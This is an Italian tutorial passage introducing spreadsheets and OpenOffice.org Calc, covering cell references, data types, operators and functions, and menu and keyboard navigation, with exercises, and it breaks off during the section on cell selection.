ABS() 8286 ACOS() 8289 ACOSH() 8289 ACOT() 8289 ACOTH() 8289 ADESSO() 8283 AND() 8283 ANNI() 8283 ANNO() 8283 ANNO.BISESTILE() 8283 ARCCOS() 8289 ARCCOSH() 8289 ARCCOT() 8289 ARCCOTH() 8289 ARCSEN() 8289 ARCSENH() 8289 ARCTAN() 8289 ARCTANH() 8289 ARROTONDA() 8286 ARROTONDA.DIFETTO() 8172 8286 ARROTONDA.ECCESSO() 8172 8286 ARROTONDA.MULTIPLO() 8172 8286 ARROTONDA.PER.DIF() 8286 ARROTONDA.PER.ECC() 8286 ASIN() 8289 ASINH() 8289 ASS() 8286 ATAN() 8289 ATANH() 8289 CASUALE() 8286 CASUALE.TRA() 8286 CEILING() 8286 CERCA.ORIZZ() 8222 8291 CERCA.VERT() 8221 8291 COMBINA() 8286 COMBINAZIONE() 8286 CONTA.SE() 8286 CONTA.VUOTE() 8286 COS() 8289 8289 COSH() 8289 8289 COT() 8289 8289 COTH() 8289 8289 COUNTBLANK() 8286 COUNTIF() 8286 DATA() 8186 8283 DATA.MESE() 8283 DATA.VALORE() 8283 DATE() 8283 DATEVALUE() 8283 DAY() 8283 DAYS() 8283 DAYSINMONTH() 8283 DAYSINYEAR() 8283 DEGREES() 8286 DISPARI() 8286 DOMENICA.DI.PASQUA() 8283 E() 8283 EASTERSUNDAY() 8283 EDATE() 8283 EOMONTH() 8283 EVEN() 8286 EXP() 8286 8286 FACT() 8286 FALSE() 8283 FALSO() 8283 FATTORIALE() 8286 fattura-00.ods 8120 fattura-01.ods 8128 fattura-02.ods 8141 fattura-03.ods 8160 fattura-04.ods 8175 fattura-05.ods 8178 fattura-06.ods 8191 fattura-07.ods 8212 fattura-08.ods 8218

fattura-09.ods 8223 fattura-10.ods 8226 fattura-11.ods 8229 fattura-12.ods 8232 fattura-13.ods 8235 fattura-14.ods 8238 fattura-15.ods 8252 FINE.MESE() 8283 FLOOR() 8286 FRAZIONE_ANNO() 8283 GCD() 8286 GIORNI() 8283 GIORNI.ANNO() 8283 GIORNI.MESE() 8283 GIORNO() 8283 GIORNO.SETTIMANA() 8283 GRADI() 8286 HOUR() 8283 INT() 8286 8286 ISEVEN() 8286 ISLEAPYEAR() 8283 ISODD() 8286 LCM() 8286 LN() 8286 8286 LOG() 8286 8286 LOG10() 8286 8286 MAX() 8171 MCD() 8286 MCM() 8286 MEDIA() 8171 MESE() 8283 MESI() 8283 MIN() 8171 MINUTE() 8283 MINUTO() 8283 MOD() 8286 MONTH() 8283 MONTHS() 8283 MROUND() 8286 MULTINOMIAL() 8286 MULTINOMIALE() 8286 NON() 8283 NOT() 8283 NOW() 8283 NUM.SETTIMANA() 8283 O() 8283 ODD() 8286 OGGI() 8283 OR() 8283 ORA() 8283 ORARIO() 8186 8283 ORARIO.VALORE() 8283 PARI() 8286 PI() 8286 PI.GRECO() 8286 POTENZA() 8286 POWER() 8286 PRODOTTO() 8286 PRODUCT() 8286 QUOTIENT() 8286 QUOZIENTE() 8286 RADIANS() 8286 RADIANTI() 8286 RADQ() 8286 RAND() 8286 RANDBETWEEN() 8286 RESTO() 8286 ROUND() 8286 ROUNDDOWN() 8286 ROUNDUP() 8286 SE() 8183 SECOND() 8283 SECONDO() 8283 SEGNO() 8286 SEN() 8289 SENH() 8289 SETTIMANE() 8283 SETTIMANE.ANNO() 8283 SIGN() 8286 SIN() 8289 SINH() 8289 SOMMA() 8152 8286 SOMMA.Q() 8286 SOMMA.SE() 8286 SQRT() 8286 SUM() 8286 SUMIF() 8286 SUMSQ() 8286 TAN() 8289 8289 TANH() 8289 8289 TIME() 8283 TIMEVALUE() 8283 TODAY() 8283 TRONCA() 8286 TRUE() 8283 TRUNC() 8286 VAL.DISPARI() 8286 VAL.PARI() 8286 VERO() 8283 VLOOKUP() 8291 8291 WEEKDAY() 8283 WEEKNUM() 8283 WEEKS() 8283 WEEKSINYEAR() 8283 YEAR() 8283 YEARFRAC() 8283 YEARS() 8283 #DIV/0! 8170 #N/D 8170 #NOME? 8170 #NUM! 8170 #RIF! 8170 #VALORE! 8170 ### 8170

122.1 Primo approccio al foglio elettronico

Il foglio elettronico, così come lo si concepisce attualmente, è una sorta di quaderno a quadretti, o più precisamente a rettangoli, dove ogni rettangolo rappresenta una cella che può contenere qualcosa e si identifica attraverso una coordinata, composta da una lettera e un numero, oltre eventualmente al nome della pagina, ovvero della scheda o del foglio in cui si trova.[1]

	A	B	C	D	E	F	G
1							
2							
3							
4							
5							
6							
7							

Vendite | Acquisti

Nella figura si vede la scheda denominata «Acquisti», dove è evidenziata la cella «B2». Nella griglia che definisce le celle di una scheda, le lettere individuano le colonne, mentre i numeri indicano le righe. Va osservato anche il fatto che la prima riga corrisponde al numero uno e che dopo la colonna «Z» si passa alla colonna «AA».

All'interno delle celle possono essere inseriti vari tipi di informazioni, ma lo scopo principale del foglio elettronico è consentire l'esecuzione di calcoli numerici, perciò è predominante l'inserimento di valori di questo tipo (numerico).

Alle celle si fa riferimento singolarmente o a gruppi; nel secondo caso, si individuano delle zone di celle rettangolari, specificando le coordinate delle celle di due angoli opposti:

	A	B	C	D	E	F	G
1							
2							
3							
4							
5							
6							
7							

Vendite | Acquisti

Nella figura si vede la selezione di un insieme di celle che può essere identificato semplicemente dicendo che, nella scheda «Acquisti» riguarda le celle da C3 a D6, ovvero da D6 a C3, ovvero da C6 a D3, ovvero da D3 a C6.

Quando si individua una cella o un gruppo di celle, spesso non si specifica la scheda in cui si trova, perché si intende la scheda corrente, ovvero quella attiva e in evidenza, durante l'uso del programma che offre la funzione di foglio elettronico.

Le schede di un foglio elettronico possono contenere una quantità molto elevata di celle, ma lo spazio utilizzato nel file che si crea per contenere questi dati, dipende dalle informazioni immesse effettivamente e non dalla posizione relativa in cui si trovano nelle schede del foglio elettronico.

122.1.1 Esercizi

	A	B	C	D	E	F	G
1							
2			gennaio	febbraio			
3		Tizio	1234,87	435,86			
4		Caio	123,56	984,80			
5		Mevio	2345,70	100,70			
6		Filano	987,03	453,55			
7							

Clienti | Fornitori | Agenti

122.1.1.1) Osservando la figura, qual è la cella che contiene il nome «gennaio»?

122.1.1.2) Osservando la figura, come si indica l'insieme di celle che contiene i valori numerici?

122.1.1.3) Osservando la figura, come si indica l'insieme di celle che contiene tutti i valori visibili?

122.1.2 Indicazione formale delle coordinate delle celle

Nel foglio elettronico, quando si vuole fare riferimento a una cella o a una zona di celle, si deve usare una rappresentazione formale precisa. Fortunatamente esiste una modalità comune ai fogli elettronici principali: le celle singole si indicano semplicemente come lettere e numero, per esempio, H7, J25, AF23; le zone si indicano collegando le coordinate di due celle opposte con il segno di due punti, per esempio, H7:J30, Z10:AB15. Nello schema sintattico seguente, le lettere ***x*** e ***y*** rappresentano la porzione alfabetica della coordinata di una cella, mentre le lettere ***m*** e ***n*** rappresentano la parte numerica:

xm [:***yn***]

Le coordinata di una cella o di una zona, possono essere relative alla scheda in cui si trovano, oppure possono specificare anche la scheda stessa. Se in una cella di una scheda si trova un'espressione, contenente il richiamo della coordinata H7, o alla zona J10:M15, evidentemente, mancando altre indicazioni, si intende che la scheda di tali coordinate sia la stessa. Per specificare esplicitamente la scheda, si utilizzano metodi diversi, a seconda del programma; il primo degli schemi sintattici successivi mostra il caso di MS-Excel, mentre il secondo mostra la modalità usata da OpenOffice.org Calc:

nome_scheda !***xm*** [:***yn***]

nome_scheda .***xm*** [:***yn***]

Per esempio, «Acquisti.C3:D6» oppure «Acquisti!C3:D6», potrebbe identificare la zona C3:D6 della scheda «Acquisti». Nello stesso modo, «Vendite.F4» oppure «Vendite!F4», potrebbe identificare la cella F4 della scheda «Vendite».

Figura 122.4. Zona C3:D6 nella scheda «Vendite».

	A	B	C	D	E	F	G
1							
2							
3							
4							
5							
6							
7							

Vendite | Acquisti

Si osservi che se il nome della scheda a cui si fa riferimento contiene spazi o altri simboli che possono creare problemi di interpretazione, questo viene delimitato normalmente tra apici singoli:

' *nome_scheda* ' !*xm* [:*yn*]

' *nome_scheda* ' .*xm* [:*yn*]

122.1.3 Esercizi

	A	B	C	D	E	F	G
1							
2			gennaio	febbraio			
3		Tizio	1234,87	435,86			
4		Caio	123,56	984,80			
5		Mevio	2345,70	100,70			
6		Filano	987,03	453,55			
7							

Clienti | Fornitori | Agenti

122.1.3.1) Osservando la figura, come si indica formalmente l'insieme di celle che contiene i valori numerici?

122.1.3.2) Osservando la figura, come si indica formalmente l'insieme di celle che contiene tutti i valori visibili?

122.1.3.3) Osservando la figura, come si indica formalmente l'insieme di celle che contiene i valori numerici, specificando anche la scheda in cui si trova?

122.1.3.4) Osservando la figura, come si indica formalmente l'insieme di celle che contiene tutti i valori visibili, specificando anche la scheda in cui si trova?

122.1.4 Tipi di dati

Lo scopo del foglio elettronico è principalmente il calcolo automatico di espressioni contenute nelle celle. In generale, le celle possono essere vuote, possono contenere una costante oppure un'espressione da calcolare. Volendo fare una classificazione più dettagliata, si può distinguere tra:

- celle vuote, nel senso che non contengono alcunché;
- celle contenenti una costante numerica;
- celle contenenti un'espressione che genera un risultato numerico;
- celle contenenti una costante stringa;
- celle contenenti un'espressione che genera un risultato stringa.

122.1.5 Costanti numeriche

All'interno di una cella, una costante numerica si rappresenta normalmente con un numero, inserito direttamente, senza altre indicazioni. Per esempio, '**`123,456`**' rappresenta il valore 123,456. In generale è il programma che amministra il foglio elettronico a interpretare l'inserimento dell'operatore e decidere se debba essere considerato un valore numerico di qualche tipo, da recepire così come è. Le costanti numeriche possono essere interpretate nei modi seguenti:

Esempio	Tipo di valore	Annotazioni
`123,4567` `-123,4567`	Costante numerica comune, con decimali	Il fatto che la virgola sia interpretata come separatore della parte intera rispetto alle cifre decimali, dipende dalla configurazione locale del programma. Nel caso di configurazione anglo-americana, è il punto che deve essere usato per questo scopo.
`1,234567E+2` `-1,234567E+2`	Notazione esponenziale	Si tratta di $\pm 1{,}234567 \cdot 10^2$, ovvero, $\pm 1{,}234567 \cdot 100$, pari a $\pm 123{,}4567$.
`123,4567%` `-123,4567%`	Percentuale	Si tratta di un valore espresso in forma percentuale, pari a ciò che si vede, diviso 100. In questo caso, ±123,4567% è pari a ±1,234567.

Esempio	Tipo di valore	Annotazioni

`31/12`
`31/12/2010`
`31 dic`
`31 dicembre`
`31 dic 2010`
`31 dicembre 2010`
	Data	Si tratta di un valore che viene inteso rappresentare una data. Il foglio elettronico comune rappresenta le date con un valore intero che esprime la quantità di giorni trascorsi a partire dall'epoca di riferimento. Se la configurazione locale non è quella italiana, i nomi dei mesi cambiano di conseguenza e può darsi che al posto delle barre oblique si debbano usare altri simboli, oppure che la sequenza dei componenti (giorno/mese/anno) non sia la stessa (mese/giorno/anno).

`10.30` `10.30.55`	Orario	Si tratta di un valore che viene inteso rappresentare un orario. Il foglio elettronico comune rappresenta gli orari con un valore numerico dove 1 (uno) corrisponde all'ora 24:00 e le frazioni rappresentano le varie porzioni di giornata. Per esempio, le 10:30:55 corrispondono al valore 0,438 136 574 074 074. Il fatto che si usi il punto per separare le varie componenti di un orario, dipende dalla configurazione locale italiana; con una configurazione anglo-americana, non si otterrebbe questo risultato.

I valori numerici possono essere rappresentati in molti modi; ai tipi descritti nella tabella appena apparsa va aggiunta la possibilità di mostrare un valore attraverso una frazione o in modo logico (*Vero* o *Falso*). La modalità di rappresentazione può essere regolata separatamente dall'inserimento; per esempio si può inserire il numero 0,05 per rappresentarlo poi come 5 %.

122.1.6 Esercizi

122.1.6.1) Se in una cella si inserisce '`23,5%`', quale valore viene trattato effettivamente?

122.1.6.2) Premesso che il foglio elettronico viene usato in configurazione italiana, se in una cella si inserisce letteralmente '`11.10`', cosa è stato inserito effettivamente? il numero 11,10, l'orario 11:10 o la data 11 ottobre?

122.1.6.3) Con un foglio elettronico comune, se in una cella viene inserito regolarmente l'orario 12:00, qual è il valore numerico corrispondente di questo dato?

122.1.6.4) Con un foglio elettronico comune, sapendo che il valore 123456, se considerato come data, corrisponde al 3 gennaio 2238, a cosa può corrispondere il numero 123456,25?

122.1.7 Informazioni testuali: stringhe

L'informazione che si inserisce in una cella può essere di tipo testuale, nel senso che deve essere presa letteralmente, come sequenza di caratteri, senza attribuire a questa un valore numerico (ovvero trattandola numericamente come pari a zero). Nei fogli elettronici comuni, tutte le volte che si inserisce qualcosa in una cella, senza che si possa riconoscere un qualche significato particolare, questa viene presa così com'è senza adattamenti.

In programmazione, le sequenze letterali di caratteri sono note come ***stringhe***. Quando si inserisce un testo che non viene tradotto dal foglio elettronico in un valore particolare, si ottiene in pratica una stringa letterale.

Esiste la possibilità di chiarire che l'inserimento in corso deve essere trattato come stringa, senza considerarlo da un punto di vista numerico. Per esempio, si pensi all'inserimento di un numero di telefono preceduto dallo zero. Per ottenere questo nei fogli elettronici comuni, è possibile iniziare l'inserimento con un apostrofo. Per esempio, per poter ottenere in una cella il testo «00123456», senza perdere gli zeri iniziali, è possibile inserire materialmente «'0123456».

È facoltà del foglio elettronico decidere se trattare sempre un tale inserimento in forma di stringa o se questo vada comunque utilizzato in forma numerica, ove possibile. Tuttavia, è bene evitare di affidarsi alla seconda delle due possibilità.

122.1.8 Espressioni

Tutto ciò che si inserisce all'interno di una cella ha la forma di un'espressione; anche un dato costante è un'espressione. In particolare, come già descritto, le costanti vanno inserite secondo una forma prestabilita, per distinguere tra stringhe e numeri. Generalmente, i numeri si introducono nella forma cui si è abituati di solito a trattarli, oppure vengono inseriti in un'espressione esplicita (una formula), mentre le stringhe possono richiedere un prefisso per poterle distinguere (l'apostrofo a cui si è già accennato), oppure vanno inserite anche queste in un'espressione esplicita.

Le espressioni vere e proprie (o formule) si realizzano generalmente attraverso degli operatori e delle funzioni. La tabella 122.7 riassume gli operatori principali nei fogli elettronici comuni.

Tabella 122.7. Elenco degli operatori comuni nelle espressioni dei fogli elettronici.

Espressione	Descrizione
+***n***	Nessun effetto sul segno di ***n***.
−***n***	Inversione di segno.
m+***n***	Somma.

Espressione	Descrizione
m - ***n***	Sottrazione.
m * ***n***	Moltiplicazione.
m / ***n***	Divisione.
m ^ ***n***	Elevamento a potenza: m^n.
m & ***n***	Concatenamento di stringhe: attacca la prima stringa alla seconda.
(...)	Raggruppamento, precedenza.

Ciò che non si può fare con gli operatori normali, si ottiene generalmente attraverso delle funzioni, la cui notazione può variare a seconda dell'applicativo. Generalmente, una funzione è costituita da un nome seguito da dei parametri (o argomenti) tra parentesi:

nome_funzione (***parametro*** [; ***parametro***] ...)

La separazione dei parametri avviene generalmente attraverso l'uso del punto e virgola (in una configurazione anglo-americana, si usa invece la virgola).

Le funzioni dei fogli elettronici sono solitamente già stabilite e generalmente sono tradotte in base alla configurazione locale. La tabella 122.8 elenca alcune funzioni tipiche nella tradizione dei fogli elettronici, secondo la notazione inglese e italiana.

Tabella 122.8. Elenco di funzioni comuni nei fogli elettronici.

Espressione	Descrizione
SUM(***zona*** [, ***zona***] ...) SOMMA(***zona*** [; ***zona***] ...)	Sommatoria.
SQRT(***n***) RADQ(***n***)	Radice quadrata.
ROUND(***n*** , ***decimali***) ARROTONDA(***n*** ; ***decimali***)	Arrotondamento.
IF(***condizione*** , ***risultato_vero*** , ***risultato_falso***) SE(***condizione*** ; ***risultato_vero*** ; ***risultato_falso***)	Selezione condizionale.

I parametri delle funzioni possono essere costituiti da dati costanti o da espressioni di vario

genere, anche se questo poi si paga con una difficile leggibilità. In questo contesto, le costanti stringa sono rappresentate generalmente delimitandole tra apici doppi.

Tabella 122.9. Elenco degli operatori di confronto, degli operatori logici e delle funzioni logiche, comuni nei fogli elettronici.

Espressione	Descrizione
x=***y***	Uguale. Restituisce *Vero* se i valori delle espressioni ***x*** e ***y*** sono uguali.
x<>***y***	Diverso. Restituisce *Vero* se i valori delle espressioni ***x*** e ***y*** sono diversi.
x<***y***	Minore. Restituisce *Vero* se ***x*** è minore di ***y***.
x>***y***	Maggiore. Restituisce *Vero* se ***x*** è maggiore di ***y***.
x<=***y***	Minore o uguale. Restituisce *Vero* se ***x*** è minore o uguale a ***y***.
x>=***y***	Maggiore o uguale. Restituisce *Vero* se ***x*** è maggiore o uguale a ***y***.
`AND(`***x***,***y*** [,***z***]...`)` `E(`***x***;***y*** [;***z***]...`)`	AND. Restituisce vero se tutti gli argomenti hanno un valore pari a *Vero*.
`OR(`***x***,***y*** [,***z***]...`)` `O(`***x***;***y*** [;***z***]...`)`	OR. Restituisce vero se almeno uno degli argomenti ha valore pari a *Vero*.
`NOT(`***x***`)` `NON(`***x***`)`	NOT. Restituisce vero se l'argomento ha un valore pari a *Falso* e viceversa.

Tabella 122.10. Elenco delle funzioni comuni per l'inserimento di valori legati al tempo.

Espressione	Descrizione
`DATE(`***anno***,***mese***,***giorno***`)` `DATA(`***anno***;***mese***;***giorno***`)`	Data. Produce il valore corrispondente alla data specificata con gli argomenti.
`TIME(`***ore***,***minuti***,***secondi***`)` `ORARIO(`***ore***;***minuti***;***secondi***`)`	Orario. Produce il valore corrispondente all'orario specificato con gli argomenti.

In un foglio elettronico comune, un'espressione esplicita si introduce cominciando con il carattere '**`=`**'. Per esempio, per ottenere la somma delle celle A1 e B1, nella cella C1 si potrebbe inserire l'espressione '**`=A1+B1`**'. In un'espressione esplicita, l'inserimento di una stringa va fatto racchiudendola tra apici doppi, come in questo caso: '**`="ciao a tutti"`**'.

122.1.9 Esercizi

122.1.9.1) Con un foglio elettronico comune, nella cella A3 si inserisce l'espressione seguente, premendo [*Invio*] al termine, ma si ottiene un errore. Da cosa deriva tale errore?

```
="ciao
```

122.1.9.2) Nella cella A1 è stata inserita la stringa '`ciao`'; nella cella B1 è inserita la stringa '`amore`'. Nella cella D1 si inserisce l'espressione '`=A1&B1`'. Cosa appare poi nella cella D1? Per fare in modo che nella cella D1 si veda il testo «ciao amore!», come andrebbe modificata l'espressione inserita nella stessa cella?.

122.1.9.3) Nella cella B3 si vuole sommare il numero 123,4 al contenuto della cella A1. Come si può scrivere l'espressione in B3?

122.1.9.4) Nella cella B3 si vuole sommare il contenuto delle celle A1 e A2, dividendo tale somma per il numero 123,4. Come si può scrivere l'espressione in B3?

122.1.9.5) Nella cella B3 si scrive l'espressione seguente, ma si ottiene un errore. Perché?

```
=A1+B3*5
```

122.2 Introduzione a OpenOffice.org Calc

OpenOffice.org[2] è un applicativo per l'automazione ufficio completo, che include il foglio elettronico, il programma di scrittura, il programma di disegno, il programma di presentazione e anche altri componenti. È disponibile per diverse piattaforme, in particolare per sistemi MS-Windows, Solaris, MacOSX Intel e GNU/Linux. Questo corso si basa sul foglio elettronico di OpenOffice.org, denominato OpenOffice.org Calc, alla versione 3.

122.2.1 Aspetto generale

OpenOffice.org Calc, essendo un programma «grafico», si presenta nei vari sistemi operativi per cui è disponibile all'interno di una finestra, dove il contenuto può suddividersi sommariamente in tre parti: quella superiore, un'area di lavoro centrale e una parte inferiore.

Figura 122.11. OpenOffice.org Calc durante il funzionamento. Nella figura non appare la cornice della finestra, la cui forma dipende dal sistema operativo e dalla configurazione del sistema grafico.

Nella parte superiore appare il menù. Per selezionare una voce del menù è sufficiente posizionarvi sopra il puntatore del mouse (o di altra unità di puntamento) e fare un clic con il primo tasto. A ogni voce della barra del menù corrisponde una tendina con altre voci che si selezionano nello stesso modo. Per selezionare velocemente una voce del menù, senza l'uso del mouse, è sufficiente la combinazione di tasti [*Alt x*], dove ***x*** è la lettera sottolineata della voce. Per esempio, per aprire il menù `File` si può utilizzare la combinazione [*Alt f*].

Figura 122.12. Barra del menù.

Sotto alla barra del menù, appaiono solitamente due barre di strumenti, costituiti principalmente da icone. La prima di queste due barre raccoglie degli strumenti generali, mentre la seconda riguarda strumenti di composizione, o «formattazione», relativi all'aspetto del testo, dei valori numerici e delle celle.

Figura 122.13. Barra degli strumenti generali.

Figura 122.14. Barra degli strumenti di composizione.

Scendendo ancora si trova una barra di controllo riguardante la cella attiva o l'insieme attivo di celle. All'interno di questa barra si trova, nell'ordine: il riferimento alla cella attiva o all'insieme attivo; alcuni pulsanti per intervenire sull'inserimento dei dati; una riga di digitazione. Il riferimento alla cella o all'insieme di celle attivo, è noto come «casella nome».

Figura 122.15. Barra per il controllo dei contenuti delle celle, in due contesti operativi differenti.

Pulsante	Descrizione
	Guida all’inserimento di una funzione.
	Guida alla sommatoria.
	Inizia l’inserimento di un’espressione (formula).
	Annulla l’inserimento.
	Accetta l’inserimento.

La parte centrale che costituisce l’area di lavoro, è un reticolo scomposto in colonne e righe, dove ogni elemento del reticolo è una cella. Le righe sono precedute a sinistra da un pulsante con il numero corrispondente, iniziando da uno; le colonne sono precedute in alto da un pulsante con la lettera corrispondente, iniziando da «A» e continuando unendo più lettere assieme se necessario.

Figura 122.17. L’area di lavoro.

Nell’area di lavoro si distingue una «cella attiva», costituita da quella in cui si stanno inserendo o si potrebbero inserire dei dati. Nella figura appena apparsa, la cella attiva è A1, essendo evidenziata da una cornice leggermente più spessa rispetto alle altre.

Alla destra del reticolo di celle appare una barra di scorrimento verticale, con la quale è possibile far scorrere il contenuto della scheda (o del foglio) nell’area di lavoro. Nello stesso modo, al di sotto appare una barra di scorrimento orizzontale, la quale si arricchisce delle funzionalità necessarie a scorrere le schede.

Figura 122.18. Barra di scorrimento orizzontale.

Nella parte sinistra della barra di scorrimento orizzontale, si trovano quattro pulsanti, per far scorrere i lembi delle schede, i quali appaiono subito dopo. Ciò è necessario quando le schede della cartella che compone l’intero lavoro sono numerose e non possono essere visualizzate contemporaneamente. La scheda attiva, ovvero quella che mostra i propri contenuti nell’area di lavoro, ha il proprio lembo di colore più chiaro, o comunque apparentemente sovrapposto agli altri.

Nella parte inferiore si trova la barra di stato, con le informazioni sullo stato e la modalità di funzionamento del programma. Tra le altre cose si può vedere se è attiva la modalità di scrittura con inserimento o in sovrascrittura (tasto [*Ins*]).

Figura 122.19. Barra di stato durante l'inserimento di dati in una cella: nel primo caso ci si trova in modalità di scrittura con inserimento, mentre nel secondo si è in sovrascrittura.

Foglio 1 / 3	Standard	100%	INS	STD	*		Somma=0
Foglio 1 / 3	Standard	100%	SSC	STD	*		Somma=0

122.2.2 Navigazione nel menù

Per scorrere le voci del menù si può utilizzare il mouse secondo il modo consueto per i programmi grafici. Eventualmente, con la tastiera si può accedere al menù più facilmente.

Premendo il tasto [*Alt*] (quello a sinistra) si seleziona il menù, evidenziando inizialmente la voce `File`:

File Modifica Visualizza Inserisci Formato Strumenti Dati Finestra ?

A questo punto, se si preme una lettera tra quelle sottolineate tra le voci del menù, si ottiene l'apertura della tendina relativa. Per esempio, premendo la lettera [*v*], si ottiene l'apertura della tendina della voce `Visualizza`. La stessa cosa sarebbe stata ottenuta con la combinazione [*Alt v*].

Quando è attivo il menù, i tasti freccia consentono di scorrere le voci che lo compongono: le frecce sinistra e destra consentono di passare da una tendina all'altra; le frecce su e giù, consentono di scorrere le voci di una tendina. Se una voce contenuta in una tendina si articola in altre voci, quando il cursore è in posizione, il tasto con la freccia a destra apre la tendina ulteriore. A titolo di esempio, si possono osservare i passaggi successivi:

1. si preme il tasto [*Alt*] per attivare il menù;

   File Modifica Visualizza Inserisci Formato Stru

2. si porta il cursore a destra con il tasto [*freccia-destra*];

   File Modifica Visualizza Inserisci Formato Stru

3. si apre la tendina della voce attiva con il tasto [*freccia-giù*], oppure con il tasto [*Invio*];

File Modifica Visualizza Inserisci Formato Stru
Annulla Elimina Ctrl+Z
Impossibile ripristinare Ctrl+Y
Ultimo comando: Elimina Ctrl+Maiusc+Y
Taglia Ctrl+X
Copia Ctrl+C
Incolla Ctrl+V
Incolla speciale... Ctrl+Maiusc+V
Seleziona tutto Ctrl+A
Modifiche
Confronta documento...
Cerca e sostituisci... Ctrl+F
Navigatore F5
Intestazioni e piè di pagina...
Compila
Elimina contenuti... Canc
Elimina celle... Ctrl+-
Foglio
Elimina interruzione manuale di pagina
Collegamenti...
PlugIn
ImageMap
Oggetto

4. si scorrono le voci premendo [*freccia-giù*], fino a raggiungere con il cursore la voce `Foglio`;

File Modifica Visualizza Inserisci Formato Stru
Annulla Elimina Ctrl+Z
Impossibile ripristinare Ctrl+Y
Ultimo comando: Elimina Ctrl+Maiusc+Y
Taglia Ctrl+X
Copia Ctrl+C
Incolla Ctrl+V
Incolla speciale... Ctrl+Maiusc+V
Seleziona tutto Ctrl+A
Modifiche
Confronta documento...
Cerca e sostituisci... Ctrl+F
Navigatore F5
Intestazioni e piè di pagina...
Compila
Elimina contenuti... Canc
Elimina celle... Ctrl+-
Foglio
Elimina interruzione manuale di pagina
Collegamenti...
PlugIn
ImageMap
Oggetto

5. si preme il tasto [*freccia-destra*], oppure [*Invio*] per aprire il sottomenù.

Durante la navigazione del menù, per selezionare una voce visibile, è possibile anche premere il tasto della lettera sottolineata: se nel contesto in corso la stessa lettera è sottolineata in più voci, la si può premere più volte fino a quando si raggiunge quella desiderata. Se si preme [*Alt*], si ottiene la chiusura istantanea del menù; se invece si preme [*Esc*], si chiude soltanto la tendina più interna che risulta aperta, fino ad arrivare, progressivamente, all'uscita dalla navigazione del menù.

122.2.3 Esercizi

122.2.3.1) Utilizzando il mouse (o un dispositivo equivalente), come si raggiunge la voce `Formato`, `Aree di stampa`, `Definisci`?

122.2.3.2) Utilizzando la tastiera e limitandosi all'uso di [*Alt*] e dei tasti freccia, come si raggiunge la voce `Formato`, `Aree di stampa`, `Definisci`?

122.2.4 Navigazione nell'area di lavoro

All'interno dell'area di lavoro, ciò che rappresenta la cella attiva è un cursore all'interno di tale area. Si può spostare questo cursore con un clic sopra una cella, facendo in modo che questo cursore si sposti lì immediatamente, oppure si possono usare i tasti freccia o altri, anche attraverso combinazioni, per spostamenti più sofisticati, come descritto nella tabella successiva.

Tasto o combinazione di tasti	Spostamento ottenuto
←	Sposta il cursore alla cella adiacente sinistra.
→	Sposta il cursore alla cella adiacente destra.
↑	Sposta il cursore alla cella adiacente superiore.
↓	Sposta il cursore alla cella adiacente inferiore.
↖	Sposta il cursore nell'area di lavoro all'inizio della riga in cui ci si trova.
Fine	Porta il cursore sull'ultima colonna che contenga dei dati, rimanendo però sulla stessa riga di partenza.
Ctrl + ←	Porta il cursore sulla prima colonna della riga di partenza.
Ctrl + →	Porta il cursore sull'ultima colonna della riga di partenza.
Ctrl + ↑	Porta il cursore sulla prima riga della colonna di partenza.
Ctrl + ↓	Porta il cursore sull'ultima riga della colonna di partenza.
Ctrl + ↖	Porta il cursore sulla cella A1.
Ctrl + Fine	Porta il cursore sulla cella che rappresenta l'ultima riga e l'ultima colonna che contenga dei dati.
Pag ↑	Porta il cursore in alto di una pagina, rimanendo nella stessa colonna di partenza.
Pag ↓	Porta il cursore in basso di una pagina, rimanendo nella stessa colonna di partenza.
Ctrl + Pag ↑	Passa alla scheda precedente.
Ctrl + Pag ↓	Passa alla scheda successiva.

Tasto o combinazione di tasti	Spostamento ottenuto
Invio ↵	Conferma un eventuale inserimento in corso e sposta il cursore alla cella inferiore, nella stessa colonna.

122.2.5 Esercizi

122.2.5.1) Utilizzando il mouse (o un dispositivo equivalente), come si raggiunge la cella A1, mentre, per qualche motivo, ci si trova vicino alla cella AZ99?

122.2.5.2) Utilizzando la tastiera, come si raggiunge la cella A1, mentre, per qualche motivo, ci si trova vicino alla cella AZ99?

122.2.5.3) Utilizzando la tastiera, come si raggiunge la prima colonna nella riga in cui si trova già il cursore dell'area di lavoro?

122.2.5.4) Utilizzando la tastiera, come si raggiunge la prima riga nella colonna in cui si trova già il cursore dell'area di lavoro?

122.2.5.5) Utilizzando il mouse (o un dispositivo equivalente), come si raggiunge la scheda «Foglio3»?

122.2.5.6) Utilizzando la tastiera, come si raggiunge la scheda «Foglio3»?

122.2.6 Aspetto del puntatore del mouse

Il puntatore del mouse cambia forma a seconda del contesto in cui si trova, suggerendo la funzione che si andrebbe ad attivare premendo il primo tasto. La tabella successiva mostra e descrive questi segni.

Aspetto del puntatore	Contesto
I	Il puntatore è su una zona dove è possibile inserire del testo.
+	Indica la possibilità di eseguire una copia per trascinamento.
✥	Mentre è attivo un oggetto sovraimposto alla scheda attiva, il puntatore indica la possibilità di spostarlo.
↔	Il puntatore è sul confine tra una colonna e l'altra, dove è possibile ridimensionare la larghezza della colonna a sinistra.

	Il puntatore è sul confine tra una riga e l'altra, dove è possibile ridimensionare l'altezza della riga in alto.
	Può ridimensionare verticalmente un oggetto.
	Può ridimensionare orizzontalmente un oggetto.
	Essendo il puntatore nell'angolo inferiore destro di un oggetto, consente di ridimensionarlo, sia verticalmente, sia orizzontalmente.
	Essendo il puntatore nell'angolo inferiore sinistro di un oggetto, consente di ridimensionarlo, sia verticalmente, sia orizzontalmente.
	Essendo il puntatore nell'angolo superiore sinistro di un oggetto, consente di ridimensionarlo, sia verticalmente, sia orizzontalmente.
	Essendo il puntatore nell'angolo superiore destro di un oggetto, consente di ridimensionarlo, sia verticalmente, sia orizzontalmente.
	In situazioni differenti il puntatore ha l'aspetto di una freccia obliqua.

122.2.7 Selezione nell'area di lavoro

Per intervenire in una cella singola o in un insieme di celle, con comandi appropriati, è necessario prima individuare tale insieme, attraverso la selezione di ciò a cui si vuole fare riferimento.

Figura 122.28. Selezione di una cella singola (B3), di una zona di celle (A2:B6), di un insieme costituito da più zone di celle (A2:A6, B3:C4, B7:C9).

Figura 122.29. Selezione di una colonna (B), di una gruppo adiacente di righe (da 4 a 7), di tutta la scheda.

Tabella 122.30. Procedimento per la selezione delle celle.

Selezione di	Procedimento
una cella singola	con un clic del primo tasto del mouse sulla cella scelta, oppure spostando il cursore all'interno del foglio di lavoro, con i tasti freccia e gli altri tasti e combinazioni che possono spostarlo;

